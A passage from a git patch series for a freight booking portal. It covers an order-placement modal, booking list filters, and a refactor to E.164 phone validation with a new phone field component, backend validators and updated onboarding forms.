[quantities, setQuantities] = useState>({}); + + const { data: availableDays, isLoading: daysLoading } = useQuery({ + ...api.bookings.getAvailableDays.queryOptions({ + input: { + originYardId: contract.originYard?.id, + destinationYardId: contract.destinationYard?.id, + }, + }), + enabled: opened && !!contract.originYard?.id && !!contract.destinationYard?.id, + }); + + const dayOptions = useMemo( + () => + (availableDays ?? []).map((d) => ({ + value: d, + label: new Date(d).toLocaleDateString(undefined, { + weekday: "short", + year: "numeric", + month: "short", + day: "numeric", + }), + })), + [availableDays], + ); + + const lineKey = (line: Freight.ContractQuantityLine) => + line.containerTypeId ?? "__bulk__"; + + const createMutation = useMutation({ + ...api.bookingOrders.create.mutationOptions(), + onSuccess: () => { + queryClient.invalidateQueries({ + queryKey: api.bookingOrders.listByContract.queryKey({ + contractBookingId: contract.id, + }), + }); + queryClient.invalidateQueries({ + queryKey: api.bookingOrders.pool.queryKey({ + contractBookingId: contract.id, + }), + }); + queryClient.invalidateQueries({ + queryKey: api.bookings.get.queryKey({ id: contract.id }), + }); + reset(); + onPlaced(); + }, + }); + + function reset() { + setScheduledDate(null); + setQuantities({}); + } + + function handleClose() { + if (createMutation.isPending) return; + reset(); + onClose(); + } + + function handleSubmit() { + if (!scheduledDate) return; + const lines: Freight.CreateBookingOrderLineDto[] = pool + .map((line) => { + const raw = quantities[lineKey(line)]; + const qty = typeof raw === "number" ? raw : 0; + return { + containerTypeId: isContainer ? line.containerTypeId : null, + quantity: qty, + }; + }) + .filter((l) => l.quantity > 0); + + if (lines.length === 0) return; + + createMutation.mutate({ + contractBookingId: contract.id, + scheduledDate: new Date(scheduledDate).toISOString(), + lines, + }); + } + + const orderableLines = pool.filter((l) => l.remainingQuantity > 0); + const hasQuantity = pool.some((l) => { + const raw = quantities[lineKey(l)]; + return typeof raw === "number" && raw > 0; + }); + const canSubmit = !!scheduledDate && hasQuantity && !createMutation.isPending; + + return ( + + + + Place an order + + + } + radius="lg" + centered + size="md" + > + + + Draw down from contract {contract.reference}. Route, + cargo and service are inherited — just pick a shipment date and + quantity. + + + { + setTypeFilter(v); + resetPage(); + }} + clearable + radius="md" + comboboxProps={{ withinPortal: true }} + style={{ width: 170 }} + aria-label="Filter by booking type" + /> + { + setFreightFilter(v); + resetPage(); + }} + clearable + radius="md" + comboboxProps={{ withinPortal: true }} + style={{ width: 160 }} + styles={{ input: { height: 44 } }} + aria-label="Filter by cargo type" + /> + { + setCreatedFrom(e.currentTarget.value); + resetPage(); + }} + radius="md" + style={{ width: 160 }} + styles={{ input: { height: 44 } }} + aria-label="Created from" + /> + { + setCreatedTo(e.currentTarget.value); + resetPage(); + }} + radius="md" + style={{ width: 160 }} + styles={{ input: { height: 44 } }} + aria-label="Created to" + /> + {hasExtraFilters && ( + + )} + {/* Table */} diff --git a/apps/edr-freight-web/portal/src/services/bookings.service.ts b/apps/edr-freight-web/portal/src/services/bookings.service.ts index 67848915c..a95026f93 100644 --- a/apps/edr-freight-web/portal/src/services/bookings.service.ts +++ b/apps/edr-freight-web/portal/src/services/bookings.service.ts @@ -71,6 +71,13 @@ export interface BookingListFilter { statuses?: string; /** ONE_TIME or GENERAL_CONTRACT. */ bookingType?: string; + /** CONTAINER or BULK. */ + freightType?: string; + /** IMPORT / EXPORT / DOMESTIC. */ + tradeDirection?: string; + /** Created-date range (ISO). */ + createdFrom?: string; + createdTo?: string; page?: number; pageSize?: number; sortBy?: string; From dc708a2473f5d1012d441d92564e374557f555e7 Mon Sep 17 00:00:00 2001 From: Marshal Date: Sun, 21 Jun 2026 10:34:40 +0000 Subject: [PATCH 13/30] Refactor phone input handling across onboarding and settings forms - Replaced PhoneInput component with ControlledPhoneField for better integration with react-hook-form. - Updated validation for phone numbers using isValidPhone function to ensure proper formatting. - Removed country code handling from forms, simplifying phone number management. - Introduced new phone field component with consistent styling and behavior. - Added phone number validation on the backend using class-validator. - Removed unused phone utility functions and cleaned up related code. --- apps/edr-freight-api/package.json | 1 + .../validators/is-phone-number.validator.ts | 53 +++++++ .../modules/companies/companies.service.ts | 19 ++- .../dto/create-company-with-profile.dto.ts | 2 + .../companies/dto/create-company.dto.ts | 2 + .../dto/create-external-profile.dto.ts | 2 + .../companies/dto/update-profile.dto.ts | 6 + apps/edr-freight-web/portal/package.json | 1 + .../portal/src/components/PhoneField.tsx | 119 +++++++++++++++ .../portal/src/components/auth/PhoneInput.tsx | 47 ------ .../portal/src/components/phone-field.css | 82 ++++++++++ .../src/pages/accounts/CompanyProfileForm.tsx | 136 ++++++----------- .../src/pages/accounts/DjiboutiAgentForm.tsx | 48 +++--- .../src/pages/accounts/ForwarderForm.tsx | 113 +++++++------- .../portal/src/pages/accounts/LoginPage.tsx | 47 ++++-- .../portal/src/pages/accounts/SignupPage.tsx | 73 ++++----- .../DjiboutiFreightForwardingAgent.tsx | 92 +++-------- .../on_boarding/ImportExportOnBoarding.tsx | 144 +++++------------- .../on_boarding/TransportrOnBoarding.tsx | 21 +-- .../src/pages/settings/TabCompanyProfile.tsx | 35 ++--- .../src/pages/settings/TabContactPerson.tsx | 31 ++-- .../src/pages/settings/TabGeneralManager.tsx | 31 ++-- .../src/pages/settings/TabPowerOfAttorney.tsx | 33 ++-- .../edr-freight-web/portal/src/utils/phone.ts | 25 --- pnpm-lock.yaml | 50 ++++++ 25 files changed, 645 insertions(+), 568 deletions(-) create mode 100644 apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts create mode 100644 apps/edr-freight-web/portal/src/components/PhoneField.tsx delete mode 100644 apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx create mode 100644 apps/edr-freight-web/portal/src/components/phone-field.css delete mode 100644 apps/edr-freight-web/portal/src/utils/phone.ts diff --git a/apps/edr-freight-api/package.json b/apps/edr-freight-api/package.json index 506ec86f0..115d3624a 100644 --- a/apps/edr-freight-api/package.json +++ b/apps/edr-freight-api/package.json @@ -45,6 +45,7 @@ "class-validator": "^0.14.1", "dotenv": "^17.4.2", "handlebars": "^4.7.9", + "libphonenumber-js": "^1.13.6", "minio": "7.1.3", "pg": "^8.13.0", "puppeteer": "^24.2.0", diff --git a/apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts b/apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts new file mode 100644 index 000000000..4f8dac4c7 --- /dev/null +++ b/apps/edr-freight-api/src/common/validators/is-phone-number.validator.ts @@ -0,0 +1,53 @@ +import { + registerDecorator, + ValidationArguments, + ValidationOptions, + ValidatorConstraint, + ValidatorConstraintInterface, +} from 'class-validator'; +import { isValidPhoneNumber, parsePhoneNumberFromString } from 'libphonenumber-js'; + +/** + * Country-aware phone validation. The value is expected as a full international + * number (E.164, e.g. "+251911223344"), so the country is derived from the + * value itself — no separate country field needed. + */ +@ValidatorConstraint({ name: 'IsValidPhone', async: false }) +export class IsValidPhoneConstraint implements ValidatorConstraintInterface { + validate(value: unknown): boolean { + // Empty is allowed here; pair with @IsOptional / @IsNotEmpty as needed. + if (value === undefined || value === null || value === '') return true; + if (typeof value !== 'string') return false; + return isValidPhoneNumber(value); + } + + defaultMessage(args: ValidationArguments): string { + return `${args.property} must be a valid international phone number (E.164, e.g. +251911223344)`; + } +} + +/** Class-validator decorator wrapping the country-aware phone constraint. */ +export function IsValidPhone(validationOptions?: ValidationOptions) { + return function (object: object, propertyName: string) { + registerDecorator({ + target: object.constructor, + propertyName, + options: validationOptions, + constraints: [], + validator: IsValidPhoneConstraint, + }); + }; +} + +/** + * Normalize a phone string to canonical E.164. Returns the canonical form when + * parseable, otherwise the trimmed original (tolerant — never throws), or the + * value unchanged when empty/nullish. + */ +export function normalizeE164( + value: string | null | undefined, +): string | null | undefined { + if (value === undefined || value === null || value === '') return value; + const parsed = parsePhoneNumberFromString(value); + return parsed?.isValid() ? parsed.number : value.trim(); +} diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 69c4c3cae..78525d2c9 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -10,6 +10,7 @@ import { ExternalProfileRepository } from "./external-profile.repository"; import { CompanyDashboardRepository } from "./company-dashboard.repository"; import { MinioService } from "../minio/minio.service"; import { ETradeService } from "./services/etrade.service"; +import { normalizeE164 } from "../../common/validators/is-phone-number.validator"; import { CreateCompanyDto } from "./dto/create-company.dto"; import { UpdateCompanyDto } from "./dto/update-company.dto"; import { CreateExternalProfileDto } from "./dto/create-external-profile.dto"; @@ -86,7 +87,7 @@ export class CompaniesService { fanNumber: dto.fanNumber ?? null, country: dto.companyLocation ?? "Ethiopia", address: dto.companyAddress ?? null, - phone: dto.companyPhone ?? null, + phone: normalizeE164(dto.companyPhone) ?? null, email: dto.companyEmail ?? null, attributes: dto.attributes ?? null, }); @@ -109,7 +110,7 @@ export class CompaniesService { firstName: identity.firstName, lastName: identity.lastName, email: identity.email, - phone: identity.phone, + phone: normalizeE164(identity.phone) ?? identity.phone, jobTitle: dto.jobTitle ?? null, isPrimaryContact: dto.isPrimaryContact ?? true, activeProfileType, @@ -209,7 +210,7 @@ export class CompaniesService { firstName: identity.firstName, lastName: identity.lastName, email: identity.email, - phone: identity.phone, + phone: normalizeE164(identity.phone) ?? identity.phone, isPrimaryContact: true, activeProfileType, onboardingStep: "company", @@ -475,7 +476,8 @@ export class CompaniesService { companyUpdates.nationality = dto.nationality; if (dto.companyName !== undefined) companyUpdates.name = dto.companyName; if (dto.companyEmail !== undefined) companyUpdates.email = dto.companyEmail; - if (dto.companyPhone !== undefined) companyUpdates.phone = dto.companyPhone; + if (dto.companyPhone !== undefined) + companyUpdates.phone = normalizeE164(dto.companyPhone); if (dto.companyLocation !== undefined) companyUpdates.country = dto.companyLocation; if (dto.companyAddress !== undefined) @@ -503,15 +505,16 @@ export class CompaniesService { if (dto.contactPersonEmail !== undefined) attrUpdates.contactPersonEmail = dto.contactPersonEmail; if (dto.contactPersonPhone !== undefined) - attrUpdates.contactPersonPhone = dto.contactPersonPhone; + attrUpdates.contactPersonPhone = normalizeE164(dto.contactPersonPhone); if (dto.generalManagerName !== undefined) attrUpdates.generalManagerName = dto.generalManagerName; if (dto.generalManagerEmail !== undefined) attrUpdates.generalManagerEmail = dto.generalManagerEmail; if (dto.generalManagerPhone !== undefined) - attrUpdates.generalManagerPhone = dto.generalManagerPhone; + attrUpdates.generalManagerPhone = normalizeE164(dto.generalManagerPhone); if (dto.poaName !== undefined) attrUpdates.poaName = dto.poaName; - if (dto.poaPhone !== undefined) attrUpdates.poaPhone = dto.poaPhone; + if (dto.poaPhone !== undefined) + attrUpdates.poaPhone = normalizeE164(dto.poaPhone); if (dto.poaEmail !== undefined) attrUpdates.poaEmail = dto.poaEmail; if (dto.poaLocation !== undefined) attrUpdates.poaLocation = dto.poaLocation; @@ -540,7 +543,7 @@ export class CompaniesService { if (dto.houseNo !== undefined) companyUpdates.houseNo = dto.houseNo; if (dto.etradePhone !== undefined) - companyUpdates.etradePhone = dto.etradePhone; + companyUpdates.etradePhone = normalizeE164(dto.etradePhone); companyUpdates.attributes = attrUpdates; diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts index aa0bb72a2..eb32f72ae 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts @@ -2,6 +2,7 @@ import { IsString, IsNotEmpty, IsOptional, IsEmail, MaxLength, IsBoolean, IsEnum import { Type } from 'class-transformer'; import { CompanyType } from '../entities/company.entity'; import { ProfileType } from '../entities/company-profile.entity'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class CompanyProfileInputDto { @IsEnum(ProfileType) @@ -30,6 +31,7 @@ export class CreateCompanyWithProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() companyPhone?: string; @IsOptional() diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts index 5718f541e..0a699fe5e 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts @@ -1,5 +1,6 @@ import { IsString, IsNotEmpty, IsOptional, IsEnum, MaxLength, Length, Matches, IsEmail } from 'class-validator'; import { CompanyType, CompanyStatus } from '../entities/company.entity'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class CreateCompanyDto { @IsString() @@ -37,6 +38,7 @@ export class CreateCompanyDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() phone?: string; @IsOptional() diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts index c694a50e0..7a9b94c44 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/create-external-profile.dto.ts @@ -1,4 +1,5 @@ import { IsString, IsNotEmpty, IsOptional, IsEmail, MaxLength, IsBoolean, IsUUID } from 'class-validator'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class CreateExternalProfileDto { @IsUUID() @@ -26,6 +27,7 @@ export class CreateExternalProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() phone?: string; @IsOptional() diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts index 8bb691a80..d94cb5f35 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts @@ -1,5 +1,6 @@ import { IsString, IsOptional, IsEmail, MaxLength, Length, Matches, IsEnum } from 'class-validator'; import { CompanyNationality } from '../entities/company.entity'; +import { IsValidPhone } from '../../../common/validators/is-phone-number.validator'; export class UpdateProfileDto { @IsOptional() @@ -19,6 +20,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() companyPhone?: string; @IsOptional() @@ -60,6 +62,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() + @IsValidPhone() contactPersonPhone?: string; @IsOptional() @@ -72,6 +75,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() + @IsValidPhone() generalManagerPhone?: string; @IsOptional() @@ -80,6 +84,7 @@ export class UpdateProfileDto { @IsOptional() @IsString() + @IsValidPhone() poaPhone?: string; @IsOptional() @@ -151,5 +156,6 @@ export class UpdateProfileDto { @IsOptional() @IsString() @MaxLength(20) + @IsValidPhone() etradePhone?: string; } diff --git a/apps/edr-freight-web/portal/package.json b/apps/edr-freight-web/portal/package.json index f5fddd009..d7b458b19 100644 --- a/apps/edr-freight-web/portal/package.json +++ b/apps/edr-freight-web/portal/package.json @@ -29,6 +29,7 @@ "react-dom": "19.2.6", "react-hook-form": "^7.76.0", "react-hot-toast": "^2.6.0", + "react-phone-number-input": "^3.4.17", "react-router-dom": "^6.27.0", "recharts": "^3.8.1", "tailwind-merge": "^3.6.0", diff --git a/apps/edr-freight-web/portal/src/components/PhoneField.tsx b/apps/edr-freight-web/portal/src/components/PhoneField.tsx new file mode 100644 index 000000000..e1ad3cd56 --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/PhoneField.tsx @@ -0,0 +1,119 @@ +import { Input } from "@mantine/core"; +import { forwardRef } from "react"; +import { + Controller, + type Control, + type FieldValues, + type Path, +} from "react-hook-form"; +import RPNInput, { isValidPhoneNumber } from "react-phone-number-input"; +import "react-phone-number-input/style.css"; +import "./phone-field.css"; + +/** Re-exported for zod `.refine()` checks on phone fields. */ +export const isValidPhone = (value?: string | null): boolean => + !!value && isValidPhoneNumber(value); + +/** + * The text input rendered inside react-phone-number-input, styled to match the + * portal's Mantine fields (44px height, 10px radius, edr border). Must forward + * the ref and accept native input props for the library to drive it. + */ +const StyledInput = forwardRef>( + function StyledInput(props, ref) { + return ; + }, +); + +export interface PhoneFieldProps { + label?: string; + value?: string; + onChange: (value: string | undefined) => void; + onBlur?: () => void; + error?: string; + required?: boolean; + disabled?: boolean; + placeholder?: string; +} + +/** + * Professional phone input: searchable country selector (all countries, default + * Ethiopia), live formatting, emits a single E.164 value (e.g. +251912345678). + * Visually aligned with the portal's Mantine form fields. + */ +export function PhoneField({ + label, + value, + onChange, + onBlur, + error, + required, + disabled, + placeholder = "912 345 678", +}: PhoneFieldProps) { + return ( + +
+ +
+
+ ); +} + +interface ControlledPhoneFieldProps { + control: Control; + name: Path; + label?: string; + required?: boolean; + disabled?: boolean; + placeholder?: string; +} + +/** RHF Controller wrapper so forms drop in one line. */ +export function ControlledPhoneField({ + control, + name, + label, + required, + disabled, + placeholder, +}: ControlledPhoneFieldProps) { + return ( + ( + field.onChange(v ?? "")} + onBlur={field.onBlur} + error={fieldState.error?.message} + /> + )} + /> + ); +} + +export default PhoneField; diff --git a/apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx b/apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx deleted file mode 100644 index 556f8e309..000000000 --- a/apps/edr-freight-web/portal/src/components/auth/PhoneInput.tsx +++ /dev/null @@ -1,47 +0,0 @@ -import { Group, Stack, Text, TextInput, type TextInputProps } from "@mantine/core"; - -type InputPassthrough = Partial; - -interface PhoneInputProps { - disabled?: boolean; - countryCode?: InputPassthrough; - phone?: InputPassthrough; - countryCodeError?: { message?: string }; - phoneError?: { message?: string }; - label?: string; -} - -export default function PhoneInput({ - disabled, - countryCode: countryCodeProps, - phone: phoneProps, - countryCodeError, - phoneError, - label = "Phone Number", -}: PhoneInputProps) { - const errorMsg = countryCodeError?.message ?? phoneError?.message; - return ( - - {label} - - - - - {errorMsg && ( - {errorMsg} - )} - - ); -} diff --git a/apps/edr-freight-web/portal/src/components/phone-field.css b/apps/edr-freight-web/portal/src/components/phone-field.css new file mode 100644 index 000000000..2fd037b99 --- /dev/null +++ b/apps/edr-freight-web/portal/src/components/phone-field.css @@ -0,0 +1,82 @@ +/* Align react-phone-number-input with the portal's Mantine field styling: + 44px height, 10px radius, edr border, brand-green focus ring. */ + +.edr-phone-wrapper .PhoneInput { + display: flex; + align-items: stretch; + gap: 8px; +} + +/* Country selector — a compact pill matching the input height/radius. */ +.edr-phone-wrapper .PhoneInputCountry { + margin: 0; + padding: 0 10px; + height: 44px; + border: 1px solid #e6ecf2; + border-radius: 10px; + background: #fff; + display: flex; + align-items: center; + gap: 6px; + transition: + border-color 120ms ease, + box-shadow 120ms ease; +} + +.edr-phone-wrapper .PhoneInputCountryIcon { + width: 22px; + height: 16px; + box-shadow: none; +} + +.edr-phone-wrapper .PhoneInputCountrySelectArrow { + color: #6b7c8e; + opacity: 0.8; +} + +/* The number input itself. */ +.edr-phone-input { + flex: 1; + min-width: 0; + height: 44px; + padding: 0 12px; + border: 1px solid #e6ecf2; + border-radius: 10px; + font-size: 14px; + color: #10202f; + background: #fff; + outline: none; + transition: + border-color 120ms ease, + box-shadow 120ms ease; +} + +.edr-phone-input::placeholder { + color: #9aa8b5; +} + +.edr-phone-input:focus { + border-color: #0ea371; + box-shadow: 0 0 0 3px rgba(14, 163, 113, 0.15); +} + +.edr-phone-wrapper .PhoneInputCountry:focus-within { + border-color: #0ea371; + box-shadow: 0 0 0 3px rgba(14, 163, 113, 0.15); +} + +.edr-phone-input:disabled, +.edr-phone-wrapper .PhoneInputCountrySelect:disabled + .PhoneInputCountryIcon { + opacity: 0.6; + cursor: not-allowed; +} + +/* Error state mirrors Mantine's invalid styling. */ +.edr-phone-wrapper--error .edr-phone-input, +.edr-phone-wrapper--error .PhoneInputCountry { + border-color: #e03131; +} + +.edr-phone-wrapper--error .edr-phone-input:focus { + box-shadow: 0 0 0 3px rgba(224, 49, 49, 0.12); +} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 9c2c4001d..f64fd7efd 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -34,10 +34,9 @@ import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import type { CompanyRegistrationData } from "@edr/types"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; -import { splitPhone } from "@/utils/phone"; import RoleLicenseStep, { type RoleLicenseProfile, } from "@/components/onboarding/RoleLicenseStep"; @@ -54,8 +53,10 @@ type CompanyStep = const onboardingSchema = z.object({ companyName: z.string().min(1, "Company name is required"), companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1, "Country code is required"), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location is required"), // Derived from the eTrade address parts (kebele/woreda/zone/region); no // standalone input — the granular fields live in the registration section. @@ -85,15 +86,21 @@ const onboardingSchema = z.object({ .email("Invalid email address") .optional() .or(z.literal("")), - contactPersonPhone: z.string().min(1, "Contact person phone is required"), - contactPersonPhoneCountryCode: z.string().min(1, "Country code is required"), + contactPersonPhone: z + .string() + .min(1, "Contact person phone is required") + .refine(isValidPhone, "Enter a valid phone number"), generalManagerName: z.string().min(1, "GM name is required"), generalManagerEmail: z.string().email("Invalid GM email"), - generalManagerPhone: z.string().min(1, "GM phone is required"), - generalManagerPhoneCountryCode: z.string().min(1, "Country code is required"), + generalManagerPhone: z + .string() + .min(1, "GM phone is required") + .refine(isValidPhone, "Enter a valid phone number"), poaName: z.string().optional(), - poaPhone: z.string().optional(), - poaPhoneCountryCode: z.string().optional(), + poaPhone: z + .string() + .optional() + .refine((v) => !v || isValidPhone(v), "Enter a valid phone number"), poaAddress: z.string().optional(), poaEmail: z.string().optional(), poaLocation: z.string().optional(), @@ -106,7 +113,6 @@ const stepFields: Record = { "companyName", "companyEmail", "companyPhone", - "companyPhoneCountryCode", "companyLocation", "companyAddress", "tinNumber", @@ -129,14 +135,12 @@ const stepFields: Record = { "generalManagerName", "generalManagerEmail", "generalManagerPhone", - "generalManagerPhoneCountryCode", ], contact: [ "contactPersonName", "contactPersonPosition", "contactPersonEmail", "contactPersonPhone", - "contactPersonPhoneCountryCode", ], poa: [], documents: [], @@ -147,7 +151,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { return { companyName: data.companyName, companyEmail: data.companyEmail, - companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`, + companyPhone: data.companyPhone, companyLocation: data.companyLocation, companyAddress: data.companyAddress, tin: data.tinNumber, @@ -157,15 +161,12 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { contactPersonName: data.contactPersonName, contactPersonPosition: data.contactPersonPosition || undefined, contactPersonEmail: data.contactPersonEmail || undefined, - contactPersonPhone: `${data.contactPersonPhoneCountryCode}${data.contactPersonPhone}`, + contactPersonPhone: data.contactPersonPhone, generalManagerName: data.generalManagerName, generalManagerEmail: data.generalManagerEmail, - generalManagerPhone: `${data.generalManagerPhoneCountryCode}${data.generalManagerPhone}`, + generalManagerPhone: data.generalManagerPhone, poaName: data.poaName || undefined, - poaPhone: - data.poaPhone && data.poaPhoneCountryCode - ? `${data.poaPhoneCountryCode}${data.poaPhone}` - : undefined, + poaPhone: data.poaPhone || undefined, poaAddress: data.poaAddress || undefined, poaEmail: data.poaEmail || undefined, poaLocation: data.poaLocation || undefined, @@ -180,7 +181,7 @@ function stepPayload(step: CompanyStep, d: FormData): Partial { if (!etradeOwner) return; setValue("generalManagerName", etradeOwner.name); - const { number, countryCode } = splitPhone(etradeOwner.phone); - setValue("generalManagerPhone", number); - setValue("generalManagerPhoneCountryCode", countryCode); + setValue("generalManagerPhone", etradeOwner.phone ?? "", { + shouldValidate: true, + }); }; /** Copy the General Manager into the Contact Person fields (toggleable). */ @@ -474,10 +459,6 @@ export default function CompanyProfileForm({ setValue("contactPersonName", watch("generalManagerName")); setValue("contactPersonEmail", watch("generalManagerEmail")); setValue("contactPersonPhone", watch("generalManagerPhone")); - setValue( - "contactPersonPhoneCountryCode", - watch("generalManagerPhoneCountryCode"), - ); }; /** Copy the Contact Person into the PoA fields (toggleable, still editable). */ @@ -487,7 +468,6 @@ export default function CompanyProfileForm({ setValue("poaName", watch("contactPersonName")); setValue("poaEmail", watch("contactPersonEmail")); setValue("poaPhone", watch("contactPersonPhone")); - setValue("poaPhoneCountryCode", watch("contactPersonPhoneCountryCode")); }; const hasDocuments = Boolean(uploadSetting?.fields?.length); @@ -663,15 +643,11 @@ export default function CompanyProfileForm({ error={errors.companyEmail?.message} {...register("companyEmail")} /> -
- @@ -877,15 +847,11 @@ export default function CompanyProfileForm({ error={errors.contactPersonEmail?.message} {...register("contactPersonEmail")} /> - @@ -917,11 +883,9 @@ export default function CompanyProfileForm({ error={errors.poaEmail?.message} {...register("poaEmail")} /> - diff --git a/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx index eb58b98c1..89570c545 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/DjiboutiAgentForm.tsx @@ -16,7 +16,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -25,21 +25,25 @@ type DjiboutiStep = "company" | "representative" | "documents" | "confirm"; const djiboutiSchema = z.object({ companyName: z.string().min(1, "Company name is required"), companyEmail: z.string().email("Invalid email address"), - companyPhone: z.string().min(1, "Company phone is required"), - companyPhoneCountryCode: z.string().min(1, "Country code is required"), + companyPhone: z + .string() + .min(1, "Company phone is required") + .refine(isValidPhone, "Enter a valid phone number"), companyLocation: z.string().min(1, "Location / Country is required"), companyAddress: z.string().min(1, "Address is required"), repName: z.string().min(1, "Representative name is required"), repEmail: z.string().email("Invalid representative email"), - repPhone: z.string().min(1, "Representative phone is required"), - repPhoneCountryCode: z.string().min(1, "Country code is required"), + repPhone: z + .string() + .min(1, "Representative phone is required") + .refine(isValidPhone, "Enter a valid phone number"), }); type FormData = z.infer; const stepFields: Record = { - company: ["companyName", "companyEmail", "companyPhone", "companyPhoneCountryCode", "companyLocation", "companyAddress"], - representative: ["repName", "repEmail", "repPhone", "repPhoneCountryCode"], + company: ["companyName", "companyEmail", "companyPhone", "companyLocation", "companyAddress"], + representative: ["repName", "repEmail", "repPhone"], documents: [], confirm: [], }; @@ -48,7 +52,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { return { companyName: data.companyName, companyEmail: data.companyEmail, - companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`, + companyPhone: data.companyPhone, companyLocation: data.companyLocation, companyAddress: data.companyAddress, tin: "", @@ -57,7 +61,7 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { attributes: { repName: data.repName, repEmail: data.repEmail, - repPhone: `${data.repPhoneCountryCode}${data.repPhone}`, + repPhone: data.repPhone, }, }; } @@ -88,11 +92,11 @@ export default function DjiboutiAgentForm({ api.fileUploadSettings.getByCode.queryOptions({ input: { code: documentSettingCode }, refetchOnMount: false }), ); - const { register, handleSubmit, trigger, watch, formState: { errors } } = useForm({ + const { register, control, handleSubmit, trigger, watch, formState: { errors } } = useForm({ resolver: zodResolver(djiboutiSchema), defaultValues: { - companyName: "", companyEmail: "", companyPhone: "", companyPhoneCountryCode: "+253", - companyLocation: "", companyAddress: "", repName: "", repEmail: "", repPhone: "", repPhoneCountryCode: "+253", + companyName: "", companyEmail: "", companyPhone: "", + companyLocation: "", companyAddress: "", repName: "", repEmail: "", repPhone: "", }, }); @@ -195,12 +199,11 @@ export default function DjiboutiAgentForm({ error={errors.companyEmail?.message} {...register("companyEmail")} /> - @@ -239,12 +242,11 @@ export default function DjiboutiAgentForm({ error={errors.repEmail?.message} {...register("repEmail")} /> - @@ -280,7 +282,7 @@ export default function DjiboutiAgentForm({ - + )} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index a2867a24f..e13ec2282 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -19,10 +19,9 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; -import PhoneInput from "@/components/auth/PhoneInput"; +import { ControlledPhoneField, isValidPhone } from "@/components/PhoneField"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; -import { splitPhone } from "@/utils/phone"; import RoleLicenseStep, { type RoleLicenseProfile, } from "@/components/onboarding/RoleLicenseStep"; @@ -32,23 +31,31 @@ type ForwarderStep = "company" | "personnel" | "poa" | "documents" | "additional const forwarderSchema = z.object({ companyName: z.string().min(1, "Company name is required"), 